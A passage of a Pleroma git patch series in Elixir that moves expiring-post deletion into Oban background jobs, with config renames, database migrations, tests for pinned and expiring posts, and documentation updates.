%Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) end + + test "don't delete pinned posts, schedule deletion on next day" do + activity = insert(:note_activity) + + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.utc_now(), + validate: false + }) + + user = Pleroma.User.get_by_ap_id(activity.actor) + {:ok, activity} = Pleroma.Web.CommonAPI.pin(activity.id, user) + + assert %{success: 1, failure: 0} == + Oban.drain_queue(queue: :activity_expiration, with_scheduled: true) + + job = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) + + assert DateTime.diff(job.scheduled_at, DateTime.add(DateTime.utc_now(), 24 * 3600)) in [0, 1] + end end -- cgit v1.2.3 From 629a8de9cb2ba2cc2d09679862a24031f34abc2f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 25 Aug 2020 09:10:45 +0300 Subject: deprecation warning changed namespace for activity expiration configuration --- config/description.exs | 6 +++--- lib/pleroma/config/deprecation_warnings.ex | 19 ++++++++++++++++++- lib/pleroma/workers/purge_expired_activity.ex | 8 +++++--- ...00824115541_rename_activity_expiration_setting.exs | 13 +++++++++++++ 4 files changed, 39 insertions(+), 7 deletions(-) create mode 100644 priv/repo/migrations/20200824115541_rename_activity_expiration_setting.exs diff --git a/config/description.exs b/config/description.exs index 6ce27278c..1253944de 100644 --- a/config/description.exs +++ b/config/description.exs @@ -2472,14 +2472,14 @@ }, %{ group: :pleroma, - key: Pleroma.ActivityExpiration, + key: Pleroma.Workers.PurgeExpiredActivity, type: :group, - description: "Expired activity settings", + description: "Expired activities settings", children: [ %{ key: :enabled, type: :boolean, - description: "Whether expired activities will be sent to the job queue to be deleted" + description: "Enables expired activities addition & deletion" } ] }, diff --git a/lib/pleroma/config/deprecation_warnings.ex b/lib/pleroma/config/deprecation_warnings.ex index 2bfe4ddba..412d55a77 100644 --- a/lib/pleroma/config/deprecation_warnings.ex +++ b/lib/pleroma/config/deprecation_warnings.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Config.DeprecationWarnings do require Logger alias Pleroma.Config - @type config_namespace() :: [atom()] + @type config_namespace() :: atom() | [atom()] @type config_map() :: {config_namespace(), config_namespace(), String.t()} @mrf_config_map [ @@ -57,6 +57,7 @@ def warn do check_media_proxy_whitelist_config() check_welcome_message_config() check_gun_pool_options() + check_activity_expiration_config() end def check_welcome_message_config do @@ -158,4 +159,20 @@ def check_gun_pool_options do Config.put(:pools, updated_config) end end + + @spec check_activity_expiration_config() :: :ok | nil + def check_activity_expiration_config do + warning_preface = """ + !!!DEPRECATION WARNING!!! + Your config is using old namespace for activity expiration configuration. Setting should work for now, but you are advised to change to new namespace to prevent possible issues later: + """ + + move_namespace_and_warn( + [ + {Pleroma.ActivityExpiration, Pleroma.Workers.PurgeExpiredActivity, + "\n* `config :pleroma, Pleroma.ActivityExpiration` is now `config :pleroma, Pleroma.Workers.PurgeExpiredActivity`"} + ], + warning_preface + ) + end end diff --git a/lib/pleroma/workers/purge_expired_activity.ex b/lib/pleroma/workers/purge_expired_activity.ex index ba0053008..44a8ad0b9 100644 --- a/lib/pleroma/workers/purge_expired_activity.ex +++ b/lib/pleroma/workers/purge_expired_activity.ex @@ -7,6 +7,8 @@ defmodule Pleroma.Workers.PurgeExpiredActivity do import Ecto.Query + alias Pleroma.Activity + def enqueue(args) do with true <- enabled?(), args when is_map(args) <- validate_expires_at(args) do @@ -20,7 +22,7 @@ def enqueue(args) do @impl true def perform(%Oban.Job{args: %{"activity_id" => id}}) do - with %Pleroma.Activity{} = activity <- find_activity(id), + with %Activity{} = activity <- find_activity(id), %Pleroma.User{} = user <- find_user(activity.object.data["actor"]), false <- pinned_by_actor?(activity, user) do Pleroma.Web.CommonAPI.delete(activity.id, user) @@ -53,7 +55,7 @@ defp validate_expires_at(args) do end defp find_activity(id) do - with nil <- Pleroma.Activity.get_by_id_with_object(id) do + with nil <- Activity.get_by_id_with_object(id) do {:error, :activity_not_found} end end @@ -65,7 +67,7 @@ defp find_user(ap_id) do end defp pinned_by_actor?(activity, user) do - with true <- Pleroma.Activity.pinned_by_actor?(activity, user) do + with true <- Activity.pinned_by_actor?(activity, user) do :pinned_by_actor end end diff --git a/priv/repo/migrations/20200824115541_rename_activity_expiration_setting.exs b/priv/repo/migrations/20200824115541_rename_activity_expiration_setting.exs new file mode 100644 index 000000000..241882ef6 --- /dev/null +++ b/priv/repo/migrations/20200824115541_rename_activity_expiration_setting.exs @@ -0,0 +1,13 @@ +defmodule Pleroma.Repo.Migrations.RenameActivityExpirationSetting do + use Ecto.Migration + + def change do + config = Pleroma.ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.ActivityExpiration}) + + if config do + config + |> Ecto.Changeset.change(key: Pleroma.Workers.PurgeExpiredActivity) + |> Pleroma.Repo.update() + end + end +end -- cgit v1.2.3 From 5ad0cc4c863f7f8a1e6fdfa40eb884a5c94ebf67 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 25 Aug 2020 12:30:00 +0300 Subject: move old expirations into Oban --- ...825061316_move_activity_expirations_to_oban.exs | 29 ++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs diff --git a/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs new file mode 100644 index 000000000..585d1a600 --- /dev/null +++ b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs @@ -0,0 +1,29 @@ +defmodule Pleroma.Repo.Migrations.MoveActivityExpirationsToOban do + use Ecto.Migration + + import Ecto.Query, only: [from: 2] + + def change do + Supervisor.start_link([{Oban, Pleroma.Config.get(Oban)}], + strategy: :one_for_one, + name: Pleroma.Supervisor + ) + + from(e in "activity_expirations", + select: %{id: e.id, activity_id: e.activity_id, scheduled_at: e.scheduled_at} + ) + |> Pleroma.RepoStreamer.chunk_stream(500) + |> Stream.each(fn expirations -> + Enum.each(expirations, fn expiration -> + with {:ok, expires_at} <- DateTime.from_naive(expiration.scheduled_at, "Etc/UTC") do + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: FlakeId.to_string(expiration.activity_id), + expires_at: expires_at, + validate: false + }) + end + end) + end) + |> Stream.run() + end +end -- cgit v1.2.3 From 5381d4b78b6ed550102008cbae7f578dab06f22f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 25 Aug 2020 12:33:38 +0300 Subject: drop activity_expirations table --- .../migrations/20200825093037_drop_activity_expirations_table.exs | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 priv/repo/migrations/20200825093037_drop_activity_expirations_table.exs diff --git a/priv/repo/migrations/20200825093037_drop_activity_expirations_table.exs b/priv/repo/migrations/20200825093037_drop_activity_expirations_table.exs new file mode 100644 index 000000000..11c461427 --- /dev/null +++ b/priv/repo/migrations/20200825093037_drop_activity_expirations_table.exs @@ -0,0 +1,7 @@ +defmodule Pleroma.Repo.Migrations.DropActivityExpirationsTable do + use Ecto.Migration + + def change do + drop(table("activity_expirations")) + end +end -- cgit v1.2.3 From 4981b5a1a3c097ca849552c3c6f650efd22c7451 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 25 Aug 2020 12:45:06 +0300 Subject: copyright header --- lib/pleroma/workers/purge_expired_activity.ex | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/pleroma/workers/purge_expired_activity.ex b/lib/pleroma/workers/purge_expired_activity.ex index 44a8ad0b9..42e2ae79c 100644 --- a/lib/pleroma/workers/purge_expired_activity.ex +++ b/lib/pleroma/workers/purge_expired_activity.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Workers.PurgeExpiredActivity do @moduledoc """ Worker which purges expired activity. -- cgit v1.2.3 From 93e1c8df9dca697e7bdb822a8a5b3848b7870f53 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 3 Sep 2020 13:30:39 +0300 Subject: reject activity creation if passed expires_at option and expiring activities are not configured --- lib/pleroma/web/activity_pub/activity_pub.ex | 44 ++++++++++++++------- lib/pleroma/workers/purge_expired_activity.ex | 4 ++ test/web/activity_pub/activity_pub_test.exs | 57 ++++++++++++++++++++++----- 3 files changed, 80 insertions(+), 25 deletions(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index c33848277..ee6dcf58a 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -110,23 +110,14 @@ def persist(object, meta) do def insert(map, local \\ true, fake \\ false, bypass_actor_check \\ false) when is_map(map) do with nil <- Activity.normalize(map), map <- lazy_put_activity_defaults(map, fake), - true <- bypass_actor_check || check_actor_is_active(map["actor"]), - {_, true} <- {:remote_limit_error, check_remote_limit(map)}, + {_, true} <- {:actor_check, bypass_actor_check || check_actor_is_active(map["actor"])}, + {_, true} <- {:remote_limit_pass, check_remote_limit(map)}, {:ok, map} <- MRF.filter(map), {recipients, _, _} = get_recipients(map), {:fake, false, map, recipients} <- {:fake, fake, map, recipients}, {:containment, :ok} <- {:containment, Containment.contain_child(map)}, - {:ok, map, object} <- insert_full_object(map) do - {:ok, activity} = - %Activity{ - data: map, - local: local, - actor: map["actor"], - recipients: recipients - } - |> Repo.insert() - |> maybe_create_activity_expiration() - + {:ok, map, object} <- insert_full_object(map), + {:ok, activity} <- insert_activity_with_expiration(map, local, recipients) do # Splice in the child object if we have one. activity = Maps.put_if_present(activity, :object, object) @@ -137,6 +128,15 @@ def insert(map, local \\ true, fake \\ false, bypass_actor_check \\ false) when %Activity{} = activity -> {:ok, activity} + {:actor_check, _} -> + {:error, false} + + {:containment, _} = error -> + error + + {:error, _} = error -> + error + {:fake, true, map, recipients} -> activity = %Activity{ data: map, @@ -149,11 +149,25 @@ def insert(map, local \\ true, fake \\ false, bypass_actor_check \\ false) when Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) {:ok, activity} - error -> - {:error, error} + {:remote_limit_pass, _} -> + {:error, :remote_limit} + + {:reject, reason} -> + {:error, reason} end end + defp insert_activity_with_expiration(data, local, recipients) do + %Activity{ + data: data, + local: local, + actor: data["actor"], + recipients: recipients + } + |> Repo.insert() + |> maybe_create_activity_expiration() + end + def notify_and_stream(activity) do Notification.create_notifications(activity) diff --git a/lib/pleroma/workers/purge_expired_activity.ex b/lib/pleroma/workers/purge_expired_activity.ex index 42e2ae79c..c70587b47 100644 --- a/lib/pleroma/workers/purge_expired_activity.ex +++ b/lib/pleroma/workers/purge_expired_activity.ex @@ -13,6 +13,10 @@ defmodule Pleroma.Workers.PurgeExpiredActivity do alias Pleroma.Activity + @spec enqueue(map()) :: + {:ok, Oban.Job.t()} + | {:error, :expired_activities_disabled} + | {:error, :expiration_too_close} def enqueue(args) do with true <- enabled?(), args when is_map(args) <- validate_expires_at(args) do diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 9af573924..d8caa0b00 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -239,7 +239,7 @@ test "drops activities beyond a certain limit" do } } - assert {:error, {:remote_limit_error, _}} = ActivityPub.insert(data) + assert {:error, :remote_limit} = ActivityPub.insert(data) end test "doesn't drop activities with content being null" do @@ -386,9 +386,11 @@ test "can be fetched into a timeline" do end describe "create activities" do - test "it reverts create" do - user = insert(:user) + setup do + [user: insert(:user)] + end + test "it reverts create", %{user: user} do with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do assert {:error, :reverted} = ActivityPub.create(%{ @@ -407,9 +409,47 @@ test "it reverts create" do assert Repo.aggregate(Object, :count, :id) == 0 end - test "removes doubled 'to' recipients" do - user = insert(:user) + test "creates activity if expiration is not configured and expires_at is not passed", %{ + user: user + } do + clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) + + assert {:ok, _} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + } + }) + end + test "rejects activity if expires_at present but expiration is not configured", %{user: user} do + clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) + + assert {:error, :expired_activities_disabled} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + }, + additional: %{ + "expires_at" => DateTime.utc_now() + } + }) + + assert Repo.aggregate(Activity, :count, :id) == 0 + assert Repo.aggregate(Object, :count, :id) == 0 + end + + test "removes doubled 'to' recipients", %{user: user} do {:ok, activity} = ActivityPub.create(%{ to: ["user1", "user1", "user2"], @@ -427,9 +467,7 @@ test "removes doubled 'to' recipients" do assert activity.recipients == ["user1", "user2", user.ap_id] end - test "increases user note count only for public activities" do - user = insert(:user) - + test "increases user note count only for public activities", %{user: user} do {:ok, _} = CommonAPI.post(User.get_cached_by_id(user.id), %{ status: "1", @@ -458,8 +496,7 @@ test "increases user note count only for public activities" do assert user.note_count == 2 end - test "increases replies count" do - user = insert(:user) + test "increases replies count", %{user: user} do user2 = insert(:user) {:ok, activity} = CommonAPI.post(user, %{status: "1", visibility: "public"}) -- cgit v1.2.3 From 357d971a10c28780795af4d19b37b0ac80d6ad09 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 3 Sep 2020 17:56:20 +0300 Subject: expiration for new pipeline --- lib/pleroma/web/activity_pub/activity_pub.ex | 18 ++++++++++++------ lib/pleroma/web/activity_pub/side_effects.ex | 7 ------- 2 files changed, 12 insertions(+), 13 deletions(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index ee6dcf58a..66a9f78a3 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -101,7 +101,9 @@ def persist(object, meta) do local: local, recipients: recipients, actor: object["actor"] - }) do + }), + # TODO: add tests for expired activities, when Note type will be supported in new pipeline + {:ok, _} <- maybe_create_activity_expiration(activity) do {:ok, activity, meta} end end @@ -158,14 +160,16 @@ def insert(map, local \\ true, fake \\ false, bypass_actor_check \\ false) when end defp insert_activity_with_expiration(data, local, recipients) do - %Activity{ + struct = %Activity{ data: data, local: local, actor: data["actor"], recipients: recipients } - |> Repo.insert() - |> maybe_create_activity_expiration() + + with {:ok, activity} <- Repo.insert(struct) do + maybe_create_activity_expiration(activity) + end end def notify_and_stream(activity) do @@ -177,7 +181,9 @@ def notify_and_stream(activity) do stream_out_participations(participations) end - defp maybe_create_activity_expiration({:ok, %{data: %{"expires_at" => expires_at}} = activity}) do + defp maybe_create_activity_expiration( + %{data: %{"expires_at" => %DateTime{} = expires_at}} = activity + ) do with {:ok, _job} <- Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ activity_id: activity.id, @@ -187,7 +193,7 @@ defp maybe_create_activity_expiration({:ok, %{data: %{"expires_at" => expires_at end end - defp maybe_create_activity_expiration(result), do: result + defp maybe_create_activity_expiration(activity), do: {:ok, activity} defp create_or_bump_conversation(activity, actor) do with {:ok, conversation} <- Conversation.create_or_bump_for(activity), diff --git a/lib/pleroma/web/activity_pub/side_effects.ex b/lib/pleroma/web/activity_pub/side_effects.ex index b30ca1bd7..46a8be767 100644 --- a/lib/pleroma/web/activity_pub/side_effects.ex +++ b/lib/pleroma/web/activity_pub/side_effects.ex @@ -187,13 +187,6 @@ def handle(%{data: %{"type" => "Create"}} = activity, meta) do Object.increase_replies_count(in_reply_to) end - if expires_at = activity.data["expires_at"] do - Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ - activity_id: activity.id, - expires_at: expires_at - }) - end - BackgroundWorker.enqueue("fetch_data_for_activity", %{"activity_id" => activity.id}) meta = -- cgit v1.2.3 From 6f2d1145183389c415e4d5a915e0c3965c00a3fb Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 3 Sep 2020 18:08:19 +0300 Subject: use another stream function in migration --- ...00825061316_move_activity_expirations_to_oban.exs | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs index 585d1a600..2bfefceb0 100644 --- a/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs +++ b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs @@ -12,17 +12,15 @@ def change do from(e in "activity_expirations", select: %{id: e.id, activity_id: e.activity_id, scheduled_at: e.scheduled_at} ) - |> Pleroma.RepoStreamer.chunk_stream(500) - |> Stream.each(fn expirations -> - Enum.each(expirations, fn expiration -> - with {:ok, expires_at} <- DateTime.from_naive(expiration.scheduled_at, "Etc/UTC") do - Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ - activity_id: FlakeId.to_string(expiration.activity_id), - expires_at: expires_at, - validate: false - }) - end - end) + |> Pleroma.Repo.stream() + |> Enum.each(fn expiration -> + with {:ok, expires_at} <- DateTime.from_naive(expiration.scheduled_at, "Etc/UTC") do + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: FlakeId.to_string(expiration.activity_id), + expires_at: expires_at, + validate: false + }) + end end) |> Stream.run() end -- cgit v1.2.3 From b3485a6dbfb1a16dd5604294074ef5139fbf3ce9 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 3 Sep 2020 19:02:22 +0300 Subject: little clean up --- lib/pleroma/workers/purge_expired_activity.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/workers/purge_expired_activity.ex b/lib/pleroma/workers/purge_expired_activity.ex index c70587b47..4be146194 100644 --- a/lib/pleroma/workers/purge_expired_activity.ex +++ b/lib/pleroma/workers/purge_expired_activity.ex @@ -23,7 +23,7 @@ def enqueue(args) do {scheduled_at, args} = Map.pop(args, :expires_at) args - |> __MODULE__.new(scheduled_at: scheduled_at) + |> new(scheduled_at: scheduled_at) |> Oban.insert() end end -- cgit v1.2.3 From eb5ff715f7917e174b9ae104a5d82779ff925301 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Fri, 4 Sep 2020 11:40:32 +0300 Subject: pin/unpin for activities with expires_at option --- lib/pleroma/activity.ex | 5 --- lib/pleroma/user.ex | 17 +++++++- lib/pleroma/workers/purge_expired_activity.ex | 18 +------- .../controllers/status_controller_test.exs | 49 +++++++++++++++++++++- test/workers/purge_expired_activity_test.exs | 21 ---------- 5 files changed, 64 insertions(+), 46 deletions(-) diff --git a/lib/pleroma/activity.ex b/lib/pleroma/activity.ex index 84aba9572..17af04257 100644 --- a/lib/pleroma/activity.ex +++ b/lib/pleroma/activity.ex @@ -343,9 +343,4 @@ def pinned_by_actor?(%Activity{} = activity) do actor = user_actor(activity) activity.id in actor.pinned_activities end - - @spec pinned_by_actor?(Activity.t(), User.t()) :: boolean() - def pinned_by_actor?(%Activity{id: id}, %User{} = user) do - id in user.pinned_activities - end end diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index f323fc6ed..e73d19964 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -2315,6 +2315,11 @@ def add_pinnned_activity(user, %Pleroma.Activity{id: id}) do max_pinned_statuses = Config.get([:instance, :max_pinned_statuses], 0) params = %{pinned_activities: user.pinned_activities ++ [id]} + # if pinned activity was scheduled for deletion, we remove job + if expiration = Pleroma.Workers.PurgeExpiredActivity.get_expiration(id) do + Oban.cancel_job(expiration.id) + end + user |> cast(params, [:pinned_activities]) |> validate_length(:pinned_activities, @@ -2327,9 +2332,19 @@ def add_pinnned_activity(user, %Pleroma.Activity{id: id}) do |> update_and_set_cache() end - def remove_pinnned_activity(user, %Pleroma.Activity{id: id}) do + def remove_pinnned_activity(user, %Pleroma.Activity{id: id, data: data}) do params = %{pinned_activities: List.delete(user.pinned_activities, id)} + # if pinned activity was scheduled for deletion, we reschedule it for deletion + if data["expires_at"] do + {:ok, expires_at, _} = DateTime.from_iso8601(data["expires_at"]) + + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: id, + expires_at: expires_at + }) + end + user |> cast(params, [:pinned_activities]) |> update_and_set_cache() diff --git a/lib/pleroma/workers/purge_expired_activity.ex b/lib/pleroma/workers/purge_expired_activity.ex index 4be146194..f981eda8e 100644 --- a/lib/pleroma/workers/purge_expired_activity.ex +++ b/lib/pleroma/workers/purge_expired_activity.ex @@ -31,18 +31,8 @@ def enqueue(args) do @impl true def perform(%Oban.Job{args: %{"activity_id" => id}}) do with %Activity{} = activity <- find_activity(id), - %Pleroma.User{} = user <- find_user(activity.object.data["actor"]), - false <- pinned_by_actor?(activity, user) do + %Pleroma.User{} = user <- find_user(activity.object.data["actor"]) do Pleroma.Web.CommonAPI.delete(activity.id, user) - else - :pinned_by_actor -> - # if activity is pinned, schedule deletion on next day - enqueue(%{activity_id: id, expires_at: DateTime.add(DateTime.utc_now(), 24 * 3600)}) - - :ok - - error -> - error end end @@ -74,12 +64,6 @@ defp find_user(ap_id) do end end - defp pinned_by_actor?(activity, user) do - with true <- Activity.pinned_by_actor?(activity, user) do - :pinned_by_actor - end - end - def get_expiration(id) do from(j in Oban.Job, where: j.state == "scheduled", diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs index 17a156be8..82ea73898 100644 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -115,8 +115,7 @@ test "posting a status", %{conn: conn} do "expires_in" => expires_in }) - assert fourth_response = - %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) + assert %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) assert Activity.get_by_id(fourth_id) @@ -1142,6 +1141,52 @@ test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do |> post("/api/v1/statuses/#{activity_two.id}/pin") |> json_response_and_validate_schema(400) end + + test "on pin removes deletion job, on unpin reschedule deletion" do + %{conn: conn} = oauth_access(["write:accounts", "write:statuses"]) + expires_in = 2 * 60 * 60 + + expires_at = DateTime.add(DateTime.utc_now(), expires_in) + + assert %{"id" => id} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + |> json_response_and_validate_schema(200) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + + assert %{"id" => ^id, "pinned" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id}/pin") + |> json_response_and_validate_schema(200) + + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + + assert %{"id" => ^id, "pinned" => false} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id}/unpin") + |> json_response_and_validate_schema(200) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + end end describe "cards" do diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs index 736d7d567..8b5dc9fd2 100644 --- a/test/workers/purge_expired_activity_test.exs +++ b/test/workers/purge_expired_activity_test.exs @@ -44,25 +44,4 @@ test "enqueue job" do assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) end - - test "don't delete pinned posts, schedule deletion on next day" do - activity = insert(:note_activity) - - assert {:ok, _} = - PurgeExpiredActivity.enqueue(%{ - activity_id: activity.id, - expires_at: DateTime.utc_now(), - validate: false - }) - - user = Pleroma.User.get_by_ap_id(activity.actor) - {:ok, activity} = Pleroma.Web.CommonAPI.pin(activity.id, user) - - assert %{success: 1, failure: 0} == - Oban.drain_queue(queue: :activity_expiration, with_scheduled: true) - - job = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) - - assert DateTime.diff(job.scheduled_at, DateTime.add(DateTime.utc_now(), 24 * 3600)) in [0, 1] - end end -- cgit v1.2.3 From 29c1178c2b20eb1b389c7e1d35b58af05f48e8a2 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Fri, 4 Sep 2020 12:05:17 +0300 Subject: migration fix --- .../migrations/20200825061316_move_activity_expirations_to_oban.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs index 2bfefceb0..137933368 100644 --- a/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs +++ b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs @@ -13,7 +13,7 @@ def change do select: %{id: e.id, activity_id: e.activity_id, scheduled_at: e.scheduled_at} ) |> Pleroma.Repo.stream() - |> Enum.each(fn expiration -> + |> Stream.each(fn expiration -> with {:ok, expires_at} <- DateTime.from_naive(expiration.scheduled_at, "Etc/UTC") do Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ activity_id: FlakeId.to_string(expiration.activity_id), -- cgit v1.2.3 From f24828a3e848e6ce3bcdd254e8c6e451898cfdf7 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 7 Sep 2020 20:21:32 +0300 Subject: oban warning --- lib/pleroma/config/oban.ex | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/config/oban.ex b/lib/pleroma/config/oban.ex index 81758c93d..9f601b1a3 100644 --- a/lib/pleroma/config/oban.ex +++ b/lib/pleroma/config/oban.ex @@ -5,7 +5,11 @@ def warn do oban_config = Pleroma.Config.get(Oban) crontab = - [Pleroma.Workers.Cron.StatsWorker, Pleroma.Workers.Cron.ClearOauthTokenWorker] + [ + Pleroma.Workers.Cron.StatsWorker, + Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker, + Pleroma.Workers.Cron.ClearOauthTokenWorker + ] |> Enum.reduce(oban_config[:crontab], fn removed_worker, acc -> with acc when is_list(acc) <- acc, setting when is_tuple(setting) <- -- cgit v1.2.3 From 4954667fb24ee6ab7b1bf3b676f7e88a582130cf Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 7 Sep 2020 20:22:14 +0300 Subject: changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 14c0252f7..79cf02c96 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - **Breaking:** Removed `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab`. - **Breaking:** Removed `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` config. +- **Breaking:** Removed `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab`. ## [2.1.1] - 2020-09-08 -- cgit v1.2.3 From 2c2094d4b2722cf511e3db8288c3754a48038f05 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 7 Sep 2020 20:57:38 +0300 Subject: configurable lifetime for ephemeral activities --- config/config.exs | 2 +- config/description.exs | 6 ++++++ docs/configuration/cheatsheet.md | 13 +++++++++++++ lib/pleroma/workers/purge_expired_activity.ex | 3 ++- .../web/mastodon_api/controllers/status_controller_test.exs | 8 ++++---- 5 files changed, 26 insertions(+), 6 deletions(-) diff --git a/config/config.exs b/config/config.exs index d975db31e..88c47fd03 100644 --- a/config/config.exs +++ b/config/config.exs @@ -654,7 +654,7 @@ account_confirmation_resend: {8_640_000, 5}, ap_routes: {60_000, 15} -config :pleroma, Pleroma.Workers.PurgeExpiredActivity, enabled: true +config :pleroma, Pleroma.Workers.PurgeExpiredActivity, enabled: true, min_lifetime: 600 config :pleroma, Pleroma.Plugs.RemoteIp, enabled: true diff --git a/config/description.exs b/config/description.exs index 1253944de..82c7bc6a7 100644 --- a/config/description.exs +++ b/config/description.exs @@ -2480,6 +2480,12 @@ key: :enabled, type: :boolean, description: "Enables expired activities addition & deletion" + }, + %{ + key: :min_lifetime, + type: :integer, + description: "Minimum lifetime for ephemeral activity (in seconds)", + suggestions: [600] } ] }, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index d0bebbd45..8f2425384 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -1091,3 +1091,16 @@ config :pleroma, :frontends, ``` This would serve the frontend from the the folder at `$instance_static/frontends/pleroma/stable`. You have to copy the frontend into this folder yourself. You can choose the name and ref any way you like, but they will be used by mix tasks to automate installation in the future, the name referring to the project and the ref referring to a commit. + +## Ephemeral activities + +Settings to enable and configure expiration for ephemeral activities + +* `:enabled` - enables ephemeral activities creation +* `:min_lifetime` - minimum lifetime for ephemeral activities (in seconds). Default: 10 minutes. + +Example: + +```elixir + config :pleroma, Pleroma.Workers.PurgeExpiredActivity, enabled: true, min_lifetime: 600 +``` diff --git a/lib/pleroma/workers/purge_expired_activity.ex b/lib/pleroma/workers/purge_expired_activity.ex index f981eda8e..ffcb89dc3 100644 --- a/lib/pleroma/workers/purge_expired_activity.ex +++ b/lib/pleroma/workers/purge_expired_activity.ex @@ -77,6 +77,7 @@ def get_expiration(id) do def 